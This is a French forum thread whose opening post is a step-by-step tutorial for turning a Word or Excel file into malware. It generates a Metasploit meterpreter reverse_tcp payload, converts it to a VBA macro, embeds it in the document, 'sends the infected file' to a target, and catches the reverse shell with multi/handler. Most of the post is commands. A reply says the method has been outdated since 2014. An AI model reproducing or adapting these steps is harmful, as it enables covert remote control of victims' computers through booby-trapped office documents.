Vous n'êtes pas identifié(e).
Étape 1: Créer votre propre payload
Voici un exemples à vous d'adapter..
msfpayload windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=443 X > /tmp/payload.exe
Étape 2: Convertissez votre payload créé en VBA (Visual Basic for Application) script
Déplacez vous dans le répertoire contenant l'outil de conversion de votre payload.
cd /usr/share/metasploit-framework/tools/
Et utilisez le script exe2vba.rb pour convertir votre payload.
./exe2vba.rb /tmp/payload.exe /tmp/payload.vba
Étape 3: copiez et collez le contenu de votre payload dans votre fichier Office.
Le fichier se compose de 2 partie:
La partie Visual Basic se copie dans la macro.
Les données. la partie hexadécimal doit être ajouté à la fin du contenu du document.
Voici l'aide pour office 2010:
http://office.microsoft.com/fr-be/word- … 99769.aspx
http://office.microsoft.com/fr-be/excel … 14112.aspx
Ouvrez votre fichier à infecter (Excel ou Word), sélectionner: Outils>Macro>Visual Basic Editor, collez le contenu de votre payload.vba, puis enregistrez le fichier.
Étape 4: Envoyez le fichier infecté à votre client.
Là comme il s'agit d'un test j'ai simplement copié collé avec une clé USB le fichier sur mon PC test, pour les transferts à l'insu d'une victime potentielle c'est pas sur ce forum.
Étape 5: Attendez que la connexion avec le client s'établisse.
msf > use exploit/multi/handler
msf > set PAYLOAD windows/meterpreter/reverse_tcp
msf > set LHOST <IP>
msf > set LPORT 443
msf > exploit
Utiliser des logiciels propriétaires, c'est comme les plats préparés, on est incapable de dire les conservateurs qu'ils contiennent, on dira toujours que c'est bon, mais ça ne remplacera jamais le repas fait maison par sa maman.
]:D #! Crunchbang & Archlinux GNU/Linux User ]:D
Hors ligne
Est ce encore d'actualité?
Hors ligne
Est ce encore d'actualité?
depuis 2014 non évidemment.
Utiliser des logiciels propriétaires, c'est comme les plats préparés, on est incapable de dire les conservateurs qu'ils contiennent, on dira toujours que c'est bon, mais ça ne remplacera jamais le repas fait maison par sa maman.
]:D #! Crunchbang & Archlinux GNU/Linux User ]:D
Hors ligne